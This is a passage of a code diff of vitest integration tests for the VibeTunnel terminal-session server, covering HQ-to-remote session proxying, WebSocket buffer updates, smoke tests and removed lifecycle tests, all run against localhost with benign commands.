if (portMatch && !resolved) {
port = parseInt(portMatch[1]);
resolved = true;
resolve({ process: serverProcess, port });
}
});
serverProcess.stderr?.on('data', (data) => {
console.error(`[SERVER ERROR] ${data.toString().trim()}`);
});
serverProcess.on('error', (err) => {
console.error(`[SERVER ERROR EVENT] ${err}`);
reject(err);
});
serverProcess.on('exit', (code, signal) => {
console.error(`[SERVER EXIT] code: ${code}, signal: ${signal}`);
if (!resolved) {
reject(new Error(`Server exited with code ${code}`));
}
});
// Timeout after 10 seconds
setTimeout(() => reject(new Error('Server failed to start within timeout')), 10000);
});
}
beforeAll(async () => {
// Start HQ server
const hqDir = path.join(baseDir, 'hq');
fs.mkdirSync(hqDir, { recursive: true });
testDirs.push(hqDir);
const hqResult = await startServer(
['--port', '0', '--hq', '--username', hqUsername, '--password', hqPassword],
{
VIBETUNNEL_CONTROL_DIR: hqDir,
}
);
hqProcess = hqResult.process;
hqPort = hqResult.port;
expect(hqPort).toBeGreaterThan(0);
// Start remote servers
for (let i = 0; i < 3; i++) {
const remoteDir = path.join(baseDir, `remote-${i}`);
fs.mkdirSync(remoteDir, { recursive: true });
testDirs.push(remoteDir);
const remoteResult = await startServer(
[
'--port',
'0',
'--username',
`remote${i}`,
'--password',
`remotepass${i}`,
'--hq-url',
`http://localhost:${hqPort}`,
'--hq-username',
hqUsername,
'--hq-password',
hqPassword,
'--name',
`remote-${i}`,
'--allow-insecure-hq',
],
{
VIBETUNNEL_CONTROL_DIR: remoteDir,
}
);
remoteProcesses.push(remoteResult.process);
remotePorts.push(remoteResult.port);
expect(remoteResult.port).toBeGreaterThan(0);
expect(remoteResult.port).not.toBe(hqPort);
}
// Wait for HQ server to be ready
const hqReady = await waitForServer(hqPort, hqUsername, hqPassword);
expect(hqReady).toBe(true);
// Wait for all remote servers to be ready
for (let i = 0; i < remotePorts.length; i++) {
const remoteReady = await waitForServer(remotePorts[i], `remote${i}`, `remotepass${i}`);
expect(remoteReady).toBe(true);
}
// Wait for registration to complete
await sleep(2000);
}, 60000); // 60 second timeout for setup
afterAll(async () => {
// Helper to properly kill a process
const killProcess = async (proc: ChildProcess | null, name: string) => {
if (!proc) return;
return new Promise<void>((resolve) => {
const timeout = setTimeout(() => {
console.log(`[TEST] Force killing ${name} process`);
try {
proc.kill('SIGKILL');
} catch (_e) {
// Process may already be dead
}
resolve();
}, 5000);
const checkExit = () => {
if (proc.killed || proc.exitCode !== null) {
clearTimeout(timeout);
resolve();
}
};
// Check if already exited
checkExit();
// Set up exit listener
proc.once('exit', () => {
clearTimeout(timeout);
resolve();
});
// Try SIGTERM first
try {
proc.kill('SIGTERM');
} catch (_e) {
// Process may already be dead
}
});
};
// Kill all remote processes
await Promise.all(remoteProcesses.map((proc, i) => killProcess(proc, `remote-${i}`)));
// Kill HQ process
await killProcess(hqProcess, 'HQ');
// Clean up directories
for (const dir of testDirs) {
try {
fs.rmSync(dir, { recursive: true, force: true });
} catch (_e) {
// Ignore cleanup errors
}
}
}, 30000); // 30 second timeout for cleanup
it('should list all registered remotes', async () => {
const response = await fetch(`http://localhost:${hqPort}/api/remotes`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
expect(response.ok).toBe(true);
const remotes = await response.json();
expect(remotes).toHaveLength(3);
for (let i = 0; i < 3; i++) {
const remote = remotes.find((r: { name: string; url: string }) => r.name === `remote-${i}`);
expect(remote).toBeDefined();
expect(remote.url).toBe(`http://localhost:${remotePorts[i]}`);
}
});
it('should create sessions on remote servers', async () => {
const sessionIds: string[] = [];
// Get remotes
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
const remotes = await remotesResponse.json();
// Create session on each remote
for (const remote of remotes) {
const response = await fetch(`http://localhost:${hqPort}/api/sessions`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
body: JSON.stringify({
command: ['echo', `hello from ${remote.name}`],
workingDir: os.tmpdir(),
name: `Test session on ${remote.name}`,
remoteId: remote.id,
}),
});
expect(response.ok).toBe(true);
const { sessionId } = await response.json();
expect(sessionId).toBeDefined();
sessionIds.push(sessionId);
}
// Wait for sessions to be created
await sleep(1000);
// Get all sessions and verify aggregation
const allSessionsResponse = await fetch(`http://localhost:${hqPort}/api/sessions`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
expect(allSessionsResponse.ok).toBe(true);
const allSessions = await allSessionsResponse.json();
const remoteSessions = allSessions.filter((s: { remoteName?: string }) => s.remoteName);
expect(remoteSessions.length).toBeGreaterThanOrEqual(3);
});
it('should proxy session operations to remote servers', async () => {
// Get a fresh list of remotes to ensure we have current data
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
const remotes = await remotesResponse.json();
const remote = remotes[0];
// Create session on remote
const createResponse = await fetch(`http://localhost:${hqPort}/api/sessions`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
body: JSON.stringify({
command: ['bash', '-c', 'while true; do read input; echo "Got: $input"; done'],
workingDir: os.tmpdir(),
name: 'Proxy Test Session',
remoteId: remote.id,
}),
});
expect(createResponse.ok).toBe(true);
const { sessionId } = await createResponse.json();
// Wait a bit for session to be fully created and registered
await sleep(1000);
// Get session info through HQ (should proxy to remote)
const infoResponse = await fetch(`http://localhost:${hqPort}/api/sessions/${sessionId}`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
expect(infoResponse.ok).toBe(true);
const sessionInfo = await infoResponse.json();
expect(sessionInfo.id).toBe(sessionId);
expect(sessionInfo.name).toBe('Proxy Test Session');
// Send input through HQ
const inputResponse = await fetch(
`http://localhost:${hqPort}/api/sessions/${sessionId}/input`,
{
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
body: JSON.stringify({ text: 'echo "proxied input"\n' }),
}
);
expect(inputResponse.ok).toBe(true);
// Kill session through HQ
const killResponse = await fetch(`http://localhost:${hqPort}/api/sessions/${sessionId}`, {
method: 'DELETE',
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
expect(killResponse.ok).toBe(true);
});
it('should aggregate buffer updates through WebSocket', async () => {
const sessionIds: string[] = [];
// Create sessions for WebSocket test
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
const remotes = await remotesResponse.json();
for (const remote of remotes) {
const response = await fetch(`http://localhost:${hqPort}/api/sessions`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
body: JSON.stringify({
command: [
'bash',
'-c',
`for i in {1..3}; do echo "${remote.name} message $i"; sleep 0.1; done`,
],
workingDir: os.tmpdir(),
name: `WS Test on ${remote.name}`,
remoteId: remote.id,
}),
});
const { sessionId } = await response.json();
sessionIds.push(sessionId);
}
// Connect to WebSocket
const ws = new WebSocket(`ws://localhost:${hqPort}/buffers`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
const receivedBuffers = new Set<string>();
await new Promise<void>((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error('WebSocket test timeout'));
}, 10000);
ws.on('open', () => {
// Subscribe to all sessions
for (const sessionId of sessionIds) {
ws.send(JSON.stringify({ type: 'subscribe', sessionId }));
}
});
ws.on('message', (data: Buffer) => {
if (data[0] === 0xbf) {
// Binary buffer update
const sessionIdLength = data.readUInt32LE(1);
const sessionId = data.subarray(5, 5 + sessionIdLength).toString('utf8');
receivedBuffers.add(sessionId);
if (receivedBuffers.size >= sessionIds.length) {
clearTimeout(timeout);
resolve();
}
} else {
// JSON message
try {
const msg = JSON.parse(data.toString());
if (msg.type === 'ping') {
ws.send(JSON.stringify({ type: 'pong' }));
}
} catch (_e) {
// Ignore parse errors
}
}
});
ws.on('error', reject);
});
ws.close();
expect(receivedBuffers.size).toBe(sessionIds.length);
});
it('should cleanup exited sessions across all servers', async () => {
// Create sessions that will exit immediately
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
const remotes = await remotesResponse.json();
for (const remote of remotes) {
await fetch(`http://localhost:${hqPort}/api/sessions`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
body: JSON.stringify({
command: ['echo', 'exit immediately'],
workingDir: os.tmpdir(),
remoteId: remote.id,
}),
});
}
// Wait for sessions to exit
await sleep(2000);
// Run cleanup
const cleanupResponse = await fetch(`http://localhost:${hqPort}/api/cleanup-exited`, {
method: 'POST',
headers: {
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
},
});
expect(cleanupResponse.ok).toBe(true);
const cleanupResult = await cleanupResponse.json();
expect(cleanupResult.success).toBe(true);
expect(cleanupResult.remoteResults).toBeDefined();
expect(cleanupResult.remoteResults.length).toBe(3);
});
});

View file

@ -0,0 +1,228 @@
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { spawn, ChildProcess } from 'child_process';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { v4 as uuidv4 } from 'uuid';
describe('Server Smoke Test', () => {
let serverProcess: ChildProcess | null = null;
let serverPort = 0;
const testDir = path.join(os.tmpdir(), 'vibetunnel-smoke-test', uuidv4());
async function startServer(): Promise<number> {
const serverPath = path.join(__dirname, '..', '..', 'server.ts');
serverProcess = spawn('tsx', [serverPath, '--port', '0'], {
env: {
...process.env,
VIBETUNNEL_CONTROL_DIR: testDir,
VIBETUNNEL_USERNAME: undefined,
VIBETUNNEL_PASSWORD: undefined,
NODE_ENV: 'production',
FORCE_COLOR: '0',
},
stdio: 'pipe',
detached: false, // Ensure child dies with parent
});
return new Promise((resolve, reject) => {
let outputBuffer = '';
let resolved = false;
const timeout = setTimeout(() => {
if (!resolved) {
reject(new Error('Server failed to start within timeout'));
}
}, 10000);
if (serverProcess && serverProcess.stdout) {
serverProcess.stdout.on('data', (data) => {
const chunk = data.toString();
outputBuffer += chunk;
console.log(`[SERVER] ${chunk.trim()}`);
// Extract port from output
const portMatch = outputBuffer.match(
/VibeTunnel Server running on http:\/\/localhost:(\d+)/
);
if (portMatch && !resolved) {
resolved = true;
clearTimeout(timeout);
const port = parseInt(portMatch[1]);
resolve(port);
}
});
}
if (serverProcess && serverProcess.stderr) {
serverProcess.stderr.on('data', (data) => {
console.error(`[SERVER ERROR] ${data.toString().trim()}`);
});
}
if (serverProcess) {
serverProcess.on('error', (err) => {
if (!resolved) {
clearTimeout(timeout);
reject(err);
}
});
serverProcess.on('exit', (code, signal) => {
if (!resolved) {
clearTimeout(timeout);
reject(new Error(`Server exited with code ${code}, signal ${signal}`));
}
});
}
});
}
beforeAll(async () => {
// Create test directory
fs.mkdirSync(testDir, { recursive: true });
// Start server
serverPort = await startServer();
console.log(`Server started on port ${serverPort}`);
});
afterAll(async () => {
// Kill server
if (serverProcess) {
// First try SIGTERM
serverProcess.kill('SIGTERM');
// Wait for process to exit
await new Promise<void>((resolve) => {
const timeout = setTimeout(() => {
console.log('[TEST] Force killing server process');
try {
if (serverProcess) {
serverProcess.kill('SIGKILL');
}
} catch (_e) {
// Process may already be dead
}
resolve();
}, 5000);
const checkExit = () => {
if (serverProcess && (serverProcess.killed || serverProcess.exitCode !== null)) {
clearTimeout(timeout);
resolve();
}
};
// Check if already exited
checkExit();
// Set up exit listener
if (serverProcess) {
serverProcess.once('exit', () => {
clearTimeout(timeout);
resolve();
});
}
});
}
// Clean up test directory
try {
fs.rmSync(testDir, { recursive: true, force: true });
} catch (e) {
console.error('Failed to clean up test directory:', e);
}
});
it('should perform basic operations', async () => {
const baseUrl = `http://localhost:${serverPort}`;
// 1. Health check
console.log('1. Testing health check...');
const healthResponse = await fetch(`${baseUrl}/api/health`);
expect(healthResponse.ok).toBe(true);
const health = await healthResponse.json();
expect(health.status).toBe('ok');
// 2. List sessions (should be empty)
console.log('2. Listing sessions...');
const listResponse = await fetch(`${baseUrl}/api/sessions`);
expect(listResponse.ok).toBe(true);
const sessions = await listResponse.json();
expect(sessions).toEqual([]);
// 3. Create a session
console.log('3. Creating session...');
const createResponse = await fetch(`${baseUrl}/api/sessions`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
command: ['echo', 'hello world'],
options: {
sessionName: 'test-session',
cols: 80,
rows: 24,
},
}),
});
expect(createResponse.ok).toBe(true);
const createResult = await createResponse.json();
expect(createResult.sessionId).toBeDefined();
const sessionId = createResult.sessionId;
console.log(`Created session: ${sessionId}`);
// 4. Send input
console.log('4. Sending input...');
const inputResponse = await fetch(`${baseUrl}/api/sessions/${sessionId}/input`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ text: '\n' }),
});
expect(inputResponse.ok).toBe(true);
// Wait a bit for the command to execute
await new Promise<void>((resolve) => setTimeout(resolve, 500));
// 5. Get buffer
console.log('5. Getting buffer...');
const bufferResponse = await fetch(`${baseUrl}/api/sessions/${sessionId}/buffer`);
expect(bufferResponse.ok).toBe(true);
expect(bufferResponse.headers.get('content-type')).toBe('application/octet-stream');
const buffer = await bufferResponse.arrayBuffer();
expect(buffer.byteLength).toBeGreaterThan(0);
console.log(`Buffer size: ${buffer.byteLength} bytes`);
// 6. List sessions again (should have one)
console.log('6. Listing sessions again...');
const listResponse2 = await fetch(`${baseUrl}/api/sessions`);
expect(listResponse2.ok).toBe(true);
const sessions2 = await listResponse2.json();
expect(sessions2.length).toBe(1);
expect(sessions2[0].id).toBe(sessionId);
// 7. Kill session
console.log('7. Killing session...');
const killResponse = await fetch(`${baseUrl}/api/sessions/${sessionId}`, {
method: 'DELETE',
});
expect(killResponse.ok).toBe(true);
// Wait for session to be cleaned up
await new Promise<void>((resolve) => setTimeout(resolve, 500));
// 8. Verify session is gone
console.log('8. Verifying session is gone...');
const listResponse3 = await fetch(`${baseUrl}/api/sessions`);
expect(listResponse3.ok).toBe(true);
const sessions3 = await listResponse3.json();
// Session might still exist but marked as exited
const session = sessions3.find((s: { id: string }) => s.id === sessionId);
if (session) {
expect(session.status).toBe('exited');
}
console.log('All tests passed!');
});
});

View file

@ -1,190 +0,0 @@
import { describe, it, expect } from 'vitest';
import { spawn } from 'child_process';
import path from 'path';
import fs from 'fs';
import os from 'os';
describe('Basic Integration Test', () => {
describe('tty-fwd binary', () => {
it('should be available and executable', () => {
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
expect(fs.existsSync(ttyFwdPath)).toBe(true);
// Check if executable
try {
fs.accessSync(ttyFwdPath, fs.constants.X_OK);
expect(true).toBe(true);
} catch (_e) {
expect(_e).toBeUndefined();
}
});
it('should show help information', async () => {
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
const result = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, ['--help']);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.stderr.on('data', (data) => {
output += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}: ${output}`));
}
});
});
expect(result).toContain('tty-fwd');
expect(result).toContain('Usage:');
});
it('should list sessions (empty)', async () => {
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
// Create control directory
fs.mkdirSync(controlDir, { recursive: true });
try {
const result = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
// Should return empty JSON object for no sessions
const sessions = JSON.parse(result);
expect(typeof sessions).toBe('object');
expect(Object.keys(sessions)).toHaveLength(0);
} finally {
// Clean up
fs.rmSync(controlDir, { recursive: true, force: true });
}
});
it.skip('should create and list a session', async () => {
// Skip this test as it's specific to tty-fwd binary behavior
// The server is now using node-pty by default
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
// Create control directory
fs.mkdirSync(controlDir, { recursive: true });
try {
// Create a session
const createResult = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, [
'--control-path',
controlDir,
'--session-name',
'Test Session',
'--',
'echo',
'Hello from tty-fwd',
]);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.stderr.on('data', (data) => {
console.error('tty-fwd stderr:', data.toString());
});
proc.on('close', (code) => {
if (code === 0) {
// tty-fwd spawn returns session ID on stdout, or empty if spawned in background
resolve(output.trim() || 'session-created');
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
// Should return a session ID or success indicator
expect(createResult).toBeTruthy();
// Wait a bit for the session to be fully created
await new Promise((resolve) => setTimeout(resolve, 100));
// List sessions
const listResult = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
// tty-fwd returns sessions as JSON object
const sessions = JSON.parse(listResult);
expect(typeof sessions).toBe('object');
// The session should be listed (note: tty-fwd might use a different key format)
const sessionKeys = Object.keys(sessions);
expect(sessionKeys.length).toBeGreaterThan(0);
} finally {
// Clean up
fs.rmSync(controlDir, { recursive: true, force: true });
}
});
});
describe('Server startup', () => {
it('should verify server dependencies exist', () => {
// Check that key files exist
const serverPath = path.resolve(__dirname, '../../server.ts');
const publicPath = path.resolve(__dirname, '../../../public');
// Debug paths
console.log('Looking for server at:', serverPath);
console.log('Server exists:', fs.existsSync(serverPath));
console.log('Looking for public at:', publicPath);
console.log('Public exists:', fs.existsSync(publicPath));
expect(fs.existsSync(serverPath)).toBe(true);
expect(fs.existsSync(publicPath)).toBe(true);
});
it('should load server module without crashing', async () => {
// Set up environment
process.env.NODE_ENV = 'test';
process.env.PORT = '0';
// This will test that the server module can be loaded
// In a real test, you'd start the server in a separate process
const serverPath = path.resolve(__dirname, '../../server.ts');
expect(fs.existsSync(serverPath)).toBe(true);
});
});
});

View file

@ -1,174 +0,0 @@
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import request from 'supertest';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { v4 as uuidv4 } from 'uuid';
import { app, server } from '../../server';
import type { AddressInfo } from 'net';
// Set up test environment
process.env.NODE_ENV = 'test';
process.env.PORT = '0';
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-lifecycle-test', uuidv4());
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
describe('Server Lifecycle Integration Tests', () => {
let port: number;
beforeAll(() => {
if (!fs.existsSync(testControlDir)) {
fs.mkdirSync(testControlDir, { recursive: true });
}
});
afterAll(() => {
if (fs.existsSync(testControlDir)) {
fs.rmSync(testControlDir, { recursive: true, force: true });
}
});
describe('Server Initialization', () => {
it('should start server and create control directory', async () => {
// Start server
await new Promise<void>((resolve) => {
if (!server.listening) {
server.listen(0, () => {
const address = server.address();
port = (address as AddressInfo).port;
resolve();
});
} else {
const address = server.address();
port = (address as AddressInfo).port;
resolve();
}
});
expect(port).toBeGreaterThan(0);
expect(server.listening).toBe(true);
// Verify control directory exists
expect(fs.existsSync(testControlDir)).toBe(true);
});
it('should have all API endpoints available', async () => {
const endpoints = [
{ method: 'get', path: '/api/sessions', expected: 200 },
{ method: 'post', path: '/api/sessions', body: {}, expected: 400 }, // Needs valid body
{ method: 'get', path: '/api/test-cast', expected: [200, 404] }, // May not exist
{ method: 'get', path: '/api/fs/browse', expected: 200 },
{ method: 'post', path: '/api/mkdir', body: {}, expected: 400 }, // Needs valid body
{ method: 'post', path: '/api/cleanup-exited', expected: 200 },
];
for (const endpoint of endpoints) {
let response;
if (endpoint.method === 'post' && endpoint.body !== undefined) {
response = await request(app)[endpoint.method](endpoint.path).send(endpoint.body);
} else {
response = await request(app)[endpoint.method as 'get'](endpoint.path);
}
// Should not return 404 (may return other errors like 400 for missing params)
const expectedStatuses = Array.isArray(endpoint.expected)
? endpoint.expected
: [endpoint.expected];
expect(expectedStatuses).toContain(response.status);
}
});
});
describe('Middleware and Security', () => {
it('should parse JSON bodies', async () => {
const response = await request(app)
.post('/api/sessions')
.send({ test: 'data' })
.set('Content-Type', 'application/json')
.expect(400); // Will fail validation but should parse the body
expect(response.body).toHaveProperty('error');
});
it('should handle CORS headers', async () => {
const response = await request(app).get('/api/sessions').expect(200);
// In production, you might want to check for CORS headers
// For now, just verify the request succeeds
expect(Array.isArray(response.body)).toBe(true);
});
it('should handle large request bodies', async () => {
const largeCommand = Array(1000).fill('arg');
const response = await request(app).post('/api/sessions').send({
command: largeCommand,
workingDir: os.tmpdir(),
});
// The request actually succeeds with a large command array
// This test is just verifying the server can handle large bodies
expect(response.status).toBeLessThan(500); // No server error
if (response.status === 200) {
expect(response.body).toHaveProperty('sessionId');
// Clean up the session
await request(app).delete(`/api/sessions/${response.body.sessionId}`);
}
});
});
describe('Concurrent Request Handling', () => {
it('should handle multiple simultaneous requests', async () => {
const requestCount = 10;
const requests = [];
for (let i = 0; i < requestCount; i++) {
requests.push(request(app).get('/api/sessions'));
}
const responses = await Promise.all(requests);
// All requests should succeed
responses.forEach((response) => {
expect(response.status).toBe(200);
expect(Array.isArray(response.body)).toBe(true);
});
});
it('should handle mixed read/write operations', async () => {
const operations = [
request(app).get('/api/sessions'),
request(app)
.post('/api/sessions')
.send({
command: ['echo', 'test1'],
workingDir: os.tmpdir(),
}),
request(app).get('/api/test-cast'),
request(app)
.post('/api/sessions')
.send({
command: ['echo', 'test2'],
workingDir: os.tmpdir(),
}),
request(app).get('/api/fs/browse').query({ path: os.tmpdir() }),
];
const responses = await Promise.all(operations);
// All operations should complete without errors
responses.forEach((response) => {
expect(response.status).toBeLessThan(500); // No server errors
});
// Clean up created sessions
const createdSessions = responses
.filter((r) => r.body && r.body.sessionId)
.map((r) => r.body.sessionId);
for (const sessionId of createdSessions) {
await request(app).delete(`/api/sessions/${sessionId}`);
}
});
});
});

View file

@ -1,356 +0,0 @@
import { describe, it, expect, afterEach } from 'vitest';
import WebSocket from 'ws';
import request from 'supertest';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { v4 as uuidv4 } from 'uuid';
import { app, server, wss } from '../../server';
import type { AddressInfo } from 'net';
// Set up test environment
process.env.NODE_ENV = 'test';
process.env.PORT = '0';
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-ws-test', uuidv4());
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
beforeAll(() => {
if (!fs.existsSync(testControlDir)) {
fs.mkdirSync(testControlDir, { recursive: true });
}
});
afterAll(() => {
if (fs.existsSync(testControlDir)) {
fs.rmSync(testControlDir, { recursive: true, force: true });
}
});
describe('WebSocket Integration Tests', () => {
let port: number;
let wsUrl: string;
let activeSessionIds: string[] = [];
beforeAll(async () => {
// Get server port
await new Promise<void>((resolve) => {
if (!server.listening) {
server.listen(0, () => {
const address = server.address();
port = (address as AddressInfo).port;
wsUrl = `ws://localhost:${port}`;
resolve();
});
} else {
const address = server.address();
port = (address as AddressInfo).port;
wsUrl = `ws://localhost:${port}`;
resolve();
}
});
});
afterAll(async () => {
// Clean up sessions
for (const sessionId of activeSessionIds) {
try {
await request(app).delete(`/api/sessions/${sessionId}`);
} catch (_e) {
// Ignore
}
}
// Close all WebSocket connections
wss.clients.forEach((client) => {
if (client.readyState === WebSocket.OPEN) {
client.close();
}
});
// Close server
await new Promise<void>((resolve) => {
server.close(() => resolve());
});
});
afterEach(() => {
// Clean up sessions after each test
activeSessionIds = [];
});
describe('Hot Reload WebSocket', () => {
it('should accept hot reload connections', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
await new Promise<void>((resolve, reject) => {
ws.on('open', () => {
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
resolve();
});
ws.on('error', reject);
});
});
it('should reject non-hot-reload connections', async () => {
const ws = new WebSocket(wsUrl);
await new Promise<void>((resolve, reject) => {
const timeout = setTimeout(() => {
ws.terminate();
reject(new Error('Test timeout: WebSocket did not close'));
}, 5000);
ws.on('close', (code, reason) => {
clearTimeout(timeout);
expect(code).toBe(1008);
expect(reason.toString()).toContain('Unknown WebSocket endpoint');
resolve();
});
ws.on('error', () => {
// Expected - connection should be rejected
});
});
});
it('should handle multiple hot reload clients', async () => {
const clients: WebSocket[] = [];
const connectionPromises = [];
// Connect multiple clients
for (let i = 0; i < 3; i++) {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
clients.push(ws);
const promise = new Promise<void>((resolve, reject) => {
ws.on('open', () => resolve());
ws.on('error', reject);
});
connectionPromises.push(promise);
}
await Promise.all(connectionPromises);
// All clients should be connected
expect(clients.every((ws) => ws.readyState === WebSocket.OPEN)).toBe(true);
// Clean up
clients.forEach((ws) => ws.close());
});
});
describe('Terminal Session WebSocket (Future)', () => {
// Note: The current server implementation only supports hot reload WebSockets
// These tests document the expected behavior for terminal session WebSockets
// when that functionality is implemented
it.skip('should subscribe to terminal session output', async () => {
// Create a session first
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'],
workingDir: os.tmpdir(),
name: 'WebSocket Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Connect WebSocket and subscribe
const ws = new WebSocket(wsUrl);
const messages: unknown[] = [];
ws.on('message', (data) => {
messages.push(JSON.parse(data.toString()));
});
await new Promise<void>((resolve) => {
ws.on('open', () => {
// Subscribe to session
ws.send(
JSON.stringify({
type: 'subscribe',
sessionId: sessionId,
})
);
resolve();
});
});
// Wait for messages
await new Promise((resolve) => setTimeout(resolve, 1000));
// Should have received output
const outputMessages = messages.filter((m: any) => m.type === 'terminal-output');
expect(outputMessages.length).toBeGreaterThan(0);
ws.close();
});
it.skip('should handle terminal input via WebSocket', async () => {
// Create an interactive session
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh'],
workingDir: os.tmpdir(),
name: 'Interactive Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Connect and send input
const ws = new WebSocket(wsUrl);
await new Promise<void>((resolve) => {
ws.on('open', () => {
// Send input
ws.send(
JSON.stringify({
type: 'input',
sessionId: sessionId,
data: 'echo "Hello WebSocket"\n',
})
);
resolve();
});
});
// Wait for processing
await new Promise((resolve) => setTimeout(resolve, 500));
// Get snapshot to verify input was processed
const snapshotResponse = await request(app)
.get(`/api/sessions/${sessionId}/snapshot`)
.expect(200);
const output = snapshotResponse.body.lines.join('\n');
expect(output).toContain('Hello WebSocket');
ws.close();
});
it.skip('should handle terminal resize via WebSocket', async () => {
// Create a session
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh'],
workingDir: os.tmpdir(),
name: 'Resize Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Connect and resize
const ws = new WebSocket(wsUrl);
await new Promise<void>((resolve) => {
ws.on('open', () => {
// Send resize
ws.send(
JSON.stringify({
type: 'resize',
sessionId: sessionId,
cols: 120,
rows: 40,
})
);
resolve();
});
});
// Wait for processing
await new Promise((resolve) => setTimeout(resolve, 200));
// Verify resize (would need to check terminal dimensions)
ws.close();
});
});
describe('WebSocket Error Handling', () => {
it('should handle malformed messages gracefully', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
await new Promise<void>((resolve, reject) => {
ws.on('open', () => {
// Send invalid JSON
ws.send('invalid json {');
// Should not crash the server
setTimeout(() => {
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
resolve();
}, 100);
});
ws.on('error', reject);
});
});
it('should handle connection drops', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
await new Promise<void>((resolve) => {
ws.on('open', resolve);
});
// Abruptly terminate connection
ws.terminate();
// Server should continue functioning
const response = await request(app).get('/api/sessions').expect(200);
expect(Array.isArray(response.body)).toBe(true);
});
});
describe('WebSocket Performance', () => {
it('should handle rapid message sending', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
await new Promise<void>((resolve) => {
ws.on('open', resolve);
});
// Send many messages rapidly
const messageCount = 100;
for (let i = 0; i < messageCount; i++) {
ws.send(JSON.stringify({ type: 'test', index: i }));
}
// Should not crash or lose connection
await new Promise((resolve) => setTimeout(resolve, 500));
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
});
it('should handle large messages', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
